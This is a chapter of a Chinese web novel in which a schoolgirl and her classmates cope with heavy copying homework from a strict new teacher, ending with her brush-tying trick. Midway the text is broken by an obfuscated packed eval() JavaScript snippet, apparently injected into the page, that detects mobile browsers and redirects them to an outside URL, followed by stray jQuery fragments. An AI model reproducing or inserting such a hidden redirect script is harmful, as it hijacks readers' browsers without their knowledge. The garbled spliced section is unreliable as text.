30. 捷径

作品:《竹马未婚夫竟是太子殿下

    虽然盛秋阑已经做好了心理准备,但是在晚上开始写作业的时候,还是没忍住把那位新来的齐先生狠狠骂了一顿:“怎么布置这么多作业。”


    策论对她来说不算难,毕竟有上辈子写文章的经验,虽然格式上有所区别,但若是按照套路也能够很快解决。


    盛秋阑洋洋洒洒写了两面,捉摸着现在这个年龄的水平,感觉到差不多之后就放下了,然后开着啃着笔头抄写文章。


    她已经很久没有这样有模有样地写过作业,刚刚抄了三遍,拿着笔的右手很快就开始酸痛起来,已经写好的纸张在旁边堆了薄薄一叠,但是还剩下很多。


    碧云拿着锦帕进来,看见还伏在桌子面前的盛秋阑:“小姐今日还没有写完功课吗?”


    迎春小声地回答:“是啊。今天学堂布置的功课好像很多,小姐已经写了很久了。”


    终于又写完一遍,盛秋阑抬起头,揉了揉手腕,感觉到肩膀都发出“嘎吱嘎吱”的骨头声,忍住在作业上面画圈圈的冲动。


    外面已经黑下去了,按照平时应该是她洗漱的时间。殿前点着明亮的烛火,烛光映照在纸张上,照着宣纸上墨迹尚干的字。


    旁边放着的写好的纸,如果说一开始上面的字还算娟秀,那么越到后面,笔迹就越来越豪放,像是自成一派。


    盛秋阑已经控制不住笔画,手腕酸痛无力,再也支撑不了笔锋,只能隐约看出形态,她烦躁地换了一支更加细小的笔,重新蘸墨书写。


    “小姐,时候不早了,功课还有多少?”


    盛秋阑原本需要的睡眠时间就不短,如果是晚上再熬夜,明天肯定要起不来。


    她指了指旁边的纸,怨念深重:“这些都要写完。”


    看着旁边还剩下一半的纸,碧云有些无奈,但是学堂里面的功课也不是她能质疑的:“今日怎么会有这么多功课?”


    这不就是一个告状的好时机吗?


    盛秋阑在心里面憋了一股肚子怨气,正好有人问起来,她拿过一张纸,手上抄写着,一点都不耽误嘴上抱怨:“学堂里面新来了一个先生。”


    她知道怎么说才能够最大引起疑惑,故意没有说完整,只留下似是似非的意思让人遐想,末了还假装无奈:”先生的话总是要听,只是今天要晚点睡了。”


    她说着说着,一半是为了同情,一半是真的控制不住,打了一个哈欠,眼中的泪水把耀眼的烛光都变得模糊,眼前的字更是变得歪七扭八。


    盛秋阑从小被大家宠着,虽然说去上学了,但也没有过这种倦怠的时候,哪次不是兴高采烈地回来,说着新认识的朋友或是学堂里发生的趣事。现在脸上不见了笑容,还要强撑着睡意写作业,怎么看怎么可怜。


    但是碧云没有质疑的资格,她只能等在一边,尽可能让盛秋阑写得稍微舒服一点。


    背后多了一个云锦靠枕,僵硬了半天的背终于有了可以靠的地方,盛秋阑伸了一个懒腰,手腕已经要酸痛得提不起来。


    她写字的桌子正对着窗口,天上已经亮起了点点繁星,外头的屋子全都熄了灯光,唯有她这一间还亮着。


    真是熟悉的感觉。


    盛秋阑也算是体会到什么叫由俭入奢难,由奢入俭难。本来已经习惯了的生活,现在安安稳稳过了几年,反而不适应起来。


    她实在是写不下去了,可怜巴巴地望向一旁的碧云:“碧云,你帮我写一点好不好?”


    碧云从小看着盛秋阑长大,本来见她这个样子就心疼,听她撒娇更是完全拒绝不了:“好吧,那小姐给我张纸。”


    盛秋阑抽出了一张纸给她,自己继续把剩下的写完。


    两个人加起来,动作就快了很多,但是盛秋阑上床的时候,也已经是过了子时。


    她强撑着意识爬上床,几乎是一沾上枕头就睡着了,碧云帮她把写完的纸放进书箧里面,防止她明早匆匆忙忙起床的时候忘记。


    前一天晚上睡得太晚,第二天盛秋阑被叫起来的时候,脑子还是混沌的。她将头埋在被子当中,完全不愿意接受自己还要起床上学的事实。


    早晨的阳光透过窗口照进来,碧云无奈地站在床边,第六遍叫她:“小姐,再不起真的要赶不上上学了。”


    盛秋阑脑海中清醒和迷乱正在打架,大脑中有意识叫自己起来,但是身体却好像粘在了床上,半点要改变动作的意思都没有。


    终于,她动了动手指,撑着自己的被子从床上坐起来,头顶的头发乱糟糟的,一双眼睛半睁不睁,好像下一秒就会重新躺回床上。


    碧云没有给她这个机会,拿起衣服就往她头上套,盛秋阑浑身软塌塌的,几乎是被人架着穿好衣服。


    洗完脸之后,她终于清醒了一点,看了一眼挂钟,慌忙往外面跑:“啊啊啊啊要来不及了。”


    盛秋阑连早饭都没有来得及拿,还是迎春见机行事,给她塞了两个包子。


    贺兰谨按照往常的时间坐在餐桌面前,但是迟迟看不见盛秋阑的身影,只有门口出现了对方身边跟着的贴身丫鬟。


    她微蹙起眉,盛秋阑虽然平常有些懒惰的小性子,但是在有正事的时候却很少会迟到:“今日怎么起晚了?”


    迎春行了礼:“报告夫人,昨日学堂的功课有些多,小姐写完已经是子时了。”


    按照盛秋阑这个年纪,就算有功课也但不该写到这么晚,学堂里面的先生考虑到他们的休息,都会斟酌着布置。


    “功课很多吗?”


    迎春把昨日盛秋阑嘚啵嘚啵说的话复数了一遍,包括她所列举的一大堆作业,其中齐先生布置的占了大头。


    盛秋阑坐在马车上,把包子囫囵吞下去,开始检查自己的书箧。


    看着好好躺在最上面的作业,她长舒一口气。


    还好还好,东西还在,不然要是写了半天结果发现没有带,那可真是冤大了。


    昨天实在是困得迷糊,写完的时候只感觉一根弦彻底松下去,满脑子都是睡觉,根本想不起来还要把东西放进去,多亏了碧云心细。


    前方驾马车的侍从也知道今天晚了,速度都快了很多,终于赶在迟到的最后一秒把盛秋阑送到了。


    盛秋阑踏进讲堂时吓了一跳,哪里来这么多焉花朵。


    原本早该到齐的讲堂现在空了好几个位置,就算已经坐在座位上的人也全部都是困顿的,垂着头趴在桌子上面。


    这一幕差点让盛秋阑幻视自己高中走入教室的样子,那时候一下课就齐齐趴在座位上,如同某种集体指令,甚至不需要人指挥,动作整齐划一。


    身后的走廊中传出走路的声音,盛秋阑赶紧回到自己的位置上,傅如珩倒是看起来如常,身后的长孙胜却早已经加入了睡觉的行列,趴在桌子上不省人事。


    孙先生进来的时候见到的就是这样一幅景象。


    这群小孩什么时候有过这种萎靡不振的情况,就算平时有些人会因为休息不足打瞌睡,也不至于如此大规模,更何况现在还是第一堂课。


    他的目光扫过讲堂中间空着的位置,微蹙起眉,但还是什么都没有说,敲了敲讲桌。


    敲击声让很多人被迫从桌子上面抬起头来,见先生已经来了,勉强振作了一点精神。


    长孙胜同样被动静吵醒,迷迷糊糊地抬起眼,支起了上半身,只是没过一会儿又重新塌下去。


    这一堂课上得不可谓不艰难,底下的人昏昏欲睡,就连提问都没有多少声音回答。中途进来了好几个迟到的人,头发杂乱,一看就是匆匆忙忙才赶到的。


    孙先生原本还端着平和的笑脸,到后来都已经严肃起来,那些迟到的人灰溜溜地进入讲堂,坐在自己的位置上。


    盛秋阑环顾一圈,见有人头一点一点的,就差趴到书本之间,还有一些人看起来很努力的想要让自己清醒,双手撑着眼皮,却依旧抵抗不了强大的睡意。


    相比之下,她虽然也很困,但在课堂当中竟然已经算清醒了。


    这一堂课在孙先生沉沉的声音之下结束,等不及先生走出讲堂,身边接二连三地趴下去,坐着的人鹤立鸡群,变得格外显眼。


    长孙胜早上看起来好像下一秒就要栽倒,但是在课上睡了一觉之后,反而变得清醒,竟然也成为了这群白鹤中的一员。


    他看着前面和身边始终没有倒下去的身影,感觉上天真是不公:“你们难道就不会困吗?”


    “有点,但是还好。”林辞殊眼下有一点微微的青色,状态看上去也没有前面几天好。


    “昨天那个文章实在是太多了,我抄得手都酸了,就连吃饭都是匆匆忙忙的,结果还是子时才睡。”


    听闻这话,旁边原本趴下去的人纷纷开口。


    “是啊,我也抄了好久。”


    “原本很早就能做完功课的,结果昨天晚睡了一个时辰。”


    “对啊,还害得我被我爹娘怀疑在学校不好好学习,被先生罚抄了,好不容易才解释清楚。”


    “我今晨还迟到了,就是因为起晚了,还好孙先生没有因此责罚。”


    一时之间讲堂里面怨载声不断,全都是对自己昨天晚上的控诉,堪比比惨大会。


    在七嘴八舌之间,一刻钟的小休已经结束了,望见马上要进来的先生,每个人的眼中都盈着埋怨。


    齐先生拿着书卷走进来,手边还是那一把不离身的戒尺。


    “昨日的功课都写完了吗?”


    底下稀稀拉拉传出应答,有气无力:“写完了。”


    “放在桌子上,我来一一点检。”


    众人从书箧中拿出昨天熬夜写好的作业,有些纸张都已经皱巴巴了,不难看出写时的痛苦。


    齐先生沿着过道顺序,从前往后清点,口中说着评价。


    “字迹潦草,笔迹散漫。”


    “字句当中有疏漏,没有用心。”


    不大不小的毛病全部都被指出来,就算找不出错处,也只能得到一个“姑且过关”的评价。


    事儿精,盛秋阑默默在心里吐槽。


    齐先生绕了一圈,终于走到了他们旁边,他先是看了看林辞殊的作业,略点一下头,颇为吝啬地说:“尚可。”


    这在所有评价当中已经是最高级别,要知道过关的人也没多少。


    看向长孙胜的作业时,原本渐缓的神色又皱起来:“潦草至极,重新誊抄三遍。”


    长孙胜昨天本来就是赶工,自然顾不上质量,没想到今天还要被罚,他生了满肚子气,但是怕之后还要被罚,只能憋在心里。


    身后的脚步渐渐靠近,与昨日同样的青色长衫走到身边。


    盛秋阑的作业就放在桌角,齐先生早就已经想过来了,故作高深地评价了一圈,终于轮到了这里。


    他看也没有看一旁傅如珩的作业,右手干瘦,上面布着青筋和粗糙的纹路,抓起盛秋阑的纸,一张张翻下去。


    放在最上面的几张字迹还算端正,越往后越发潦草,只能勉强看出样子。


    齐先生草草翻了几张,“啪”地一下把这一叠纸排在盛秋阑桌子上:“态度不端,重新抄十遍。”


    对比起来,这已经是最严重的惩罚了,背后明显带着私愤。


    似是因为昨天的事情心有余悸,盛秋阑还没有说话,齐先生就睁着一双眼睛看着他,原本不大的眯眯眼硬是做出了铜铃般的效果,周围一圈眼白:“有意见吗?”


    盛秋阑早就知道会有这一遭,理了理散乱的纸张:“没有。”


    心中郁结终于松快了一些,齐先生整了整衣襟,又开始检查前面几人的作业。


    他这一番已经浪费了不少时间,等到全部点评完,才迟迟站在讲台前,又开始像昨天一般讲解那些生僻无用的内容。


    盛秋阑还在检查自己昨天晚上写的东西,刚才点评的时候齐先生没有做记号,意味着可以二次利用。


    这张写的可以,这张也还行。


    这个字怎么不像她的,哦应该是碧云抄的。不行,下次还要让她模仿一下自己的笔迹,不然很容易被发现。


    熬了夜写的作业被批斗一番,几人本来就有怨气,只是情绪还没有表现出来,就被台上讲的内容催眠得昏昏欲睡,相比起昨天更是有过之无不及。


    齐先生今天终于找到了盛秋阑的小辫子,正是激情得意之时,见此景象,更是毫无留情地把人点起来。


    “课堂上昏昏沉沉,全都到后面清醒一下。”


    椅子腿划过地板,发出刺耳的声音,听着这个动静也能知道当事人心中的烦躁。


    本就是从小锦衣玉食长大,虽然在父母逼迫下来学堂读书,但是终究没有吃过什么苦,被接二连三的插曲打搅,就算是泥人都有了脾气,更何况他们。


    盛秋阑默默判断着现在局势,就是不知道是谁先忍不住。


    她忙里偷闲,此时已经拿出了新的纸张,在书本的遮掩下开始完成抄写作业了。


    又摸完了一遍,盛秋阑抬头看了看转身正在黑板上写字的先生,用胳膊肘撞了撞傅如珩,用气音说:“你反正也不听课,快来帮我写。”


    后者把眼神从前面收回来,递给她一个疑惑的眼神。


    “别装了,我还不知道你吗,明明就没有听。”


    盛秋阑塞给他三张纸,重新开始写新的一遍:“快点,我们争取在下课之前写完。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17147480|192386||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>谁和你我们。


    傅如珩无语凝噎,手上却非常诚实地拿过一旁笔架上面的毛笔,学着盛秋阑的样子开始帮忙。


    若是把讲课声当做背景音,抄写还是很快的,盛秋阑都开始遗憾现在这个时代没有录音笔,以前还能一边听网课一遍助眠,若是以后自己晚上睡不着了,听一下这个讲课声就能够有困意。


    话说起来,这位齐先生来他们这里教书真是屈才了,明明去治疗那些睡不着的人更加有前途。


    毕竟现在这个时候没有心理医生,若是失眠只能用吃药解决,伤身体不说,也没有多少人能够买得起,如此操作下来,保管药到病除。


    盛秋阑抄了怎么多遍,几乎已经能够把其中的内容背下来,笔下如飞,脑海中还能够分出心思来分析别的事情。


    旁边突然伸过来一双手,食指和中指点在写满的纸上。


    盛秋阑匆匆扫过一眼,确认笔迹和她手上这张类似,而且完美符合端正的标准,满意地接过来,然后又塞过去两张。


    傅如珩:“……”


    把他当免费劳动力了。


    不过他已经习惯了,把纸张接过来,重新开始誊写。


    见有人已经被罚站,其他人也不敢再睡觉了,但是因为课程实在无趣,纷纷开启小差来。


    齐先生片刻都没有停,一改昨天提问的架势,对着手上的文章滔滔不绝地讲解。


    盛秋阑终于完成了规定的遍数,但是也不愿意就这样听课,在傅如珩把纸张递给她的时候,又塞过去一张纸条。


    这个时候,坐在旁边的好处就非常明显了,完全没有接不住的烦恼,只要两个人配合就能够传递。


    傅如珩打开纸条:你昨天什么时候睡的,怎么一点都不困。


    他提笔写下:子时,我才不像你,觉少。


    其实盛秋阑已经算是睡得早了,毕竟有碧云在一边陪她抄,若是自己认认真真抄下来,还需要用更长时间,


    传过来的纸条上面简洁明了,甚至能够脑补出傅如珩的语气。


    盛秋阑一贯把这种说话方式称为装逼。


    不过看在刚刚帮她完成作业的份上,她还是忍下了心中的吐槽。


    纸条上面的话题转的很快:你说这位齐先生能够坚持多久?


    她对同窗们的情绪感知敏感,傅如珩自然也能够看出来,但是他没有这么乐观。


    傅如珩:应该还需要一段时间。


    先不论学堂能不能这么快再找到一位合适的先生,这才两天,自然不可能因为他们的一面言论把他劝退。


    这个结论和盛秋阑预估的一样,只是看到的时候她还是有些失望地叹了一口气。


    也不知道昨天她都已经表现得这么明显了,有没有人能够看懂其中的意思,在不经意间让她娘亲知道目前的“惨状”。


    虽然如果是盛秋阑自己去告状,贺兰谨也肯定会重视,但是终究没有他人转述那么有可信度一点。


    台上的人终于意犹未尽地住了嘴,他今日没有再等到最后一节课,而是直接布置了功课,任务量与昨天基本一致。联想到自己昨天晚上的样子,众人纷纷面露苦色。


    难道以后天天都要这样吗?


    在这种压抑的气愤之下,只要有人先开头,自然能够引起群起激愤。


    “这齐先生布置的功课实在是太多了。”


    “就是就是,今日还说我字迹潦草。”


    “我每天晚上都不够睡。”


    盛秋阑昨日的行为大家都看在眼里,但是就在大家讨论的时候,她却显得很沉默。


    长孙胜跟着抱怨了几句,发现了这一点异常:“你怎么不说话?”


    盛秋阑写着东西,头也没有抬:“骂他两句又听不到,还不如趁着这个时间早点抄完,晚上还能够多写一点。”


    “说的也是,但是总是想要发泄一下,这位齐先生真是看他就不爽,”长孙胜今日和昨日都被害得不轻,怨气一点都不比其他人少,“今日还要重新抄三遍,写得快些又说字迹不端正,要是又能够快点抄完的法子就好了。”


    快点抄完的办法?


    盛秋阑眼前一亮,顾不上跟他说话,从自己带来的笔中又抽出一支较为短小的毛笔,拿出两根橡皮筋。


    其他人不知道她想要干什么,愣愣地看着。


    盛秋阑把那只新的毛笔横过来,对着纸张比划了一会儿,咬着橡皮筋的一边,另一手快速地在两根笔之间绕着圈,把他们牢牢地捆在了一起。另一端的笔头也是同样的方法,直到三支笔呈现一个“冂”型。


    其他人见她动作迅速地把笔捆在一起,三支笔的体积庞大,非常显眼。


    “你这是在干什么?”长孙胜摸不着头脑。


    傅如珩眸光一闪,已经明白了盛秋阑的想法。


    盛秋阑已经拿过两张纸开始演示了,毛笔有一些不好控制,中间又隔着那么长的距离,一开始两边的字有一些歪歪扭扭,但在写了一行之后,她已经掌握好了力道,两张纸上几乎变得一样了。


    “怎么样?”盛秋阑把两张纸拿起来,右手边的字一开始还歪歪扭扭,像在上面爬,到后来就变得工整起来。


    长孙胜满眼放光:“太厉害了,帮我也做一个吧。”


    他今天可是要写整整十三张,要是靠自己手写,估计又睡不成觉了。


    盛秋阑倒是想做,只不过她没有这么多皮筋,仅剩的两个全部都在手里了。


    林辞殊在自己的口袋里摸了一把,又找出来几个。


    “我这边还有。”


    长孙胜如获至宝,毕恭毕敬的把两根皮筋放在手心里递到盛秋阑面前,像是对待某种稀奇物件:“小的孝敬您的。”


    他还不忘这是谁给的,对林辞殊说:“下次我带你到集市上去,看中哪个都给你买,这个就先给我了。”


    盛秋阑二话没说,有了第一次的经验,第二把她做得很快。


    “你们要不要?”


    傅如珩有些嫌弃地看着搁在桌子上面的大型毛笔一眼,想象了一下自己拿着笔抄写的样子,觉得实在太傻了:“不……”


    话还没说完,盛秋阑已经把笔搁在了他面前:“跟我客气啥啊。”


    林辞殊倒是没有拒绝,毕竟谁也不想再熬到那么晚,就为了写重复机械的功课。


    盛秋阑在短短几分钟之内就做完了四把,拍拍手心:“好了。”


    她一抬头,正对上了周围一圈热烈的眼神,眼中冒着光,看上去像是要把她吃了。


    盛秋阑被夹在中间显得弱小可怜:???


    其中一人开口:“能不能给我们也做一个?”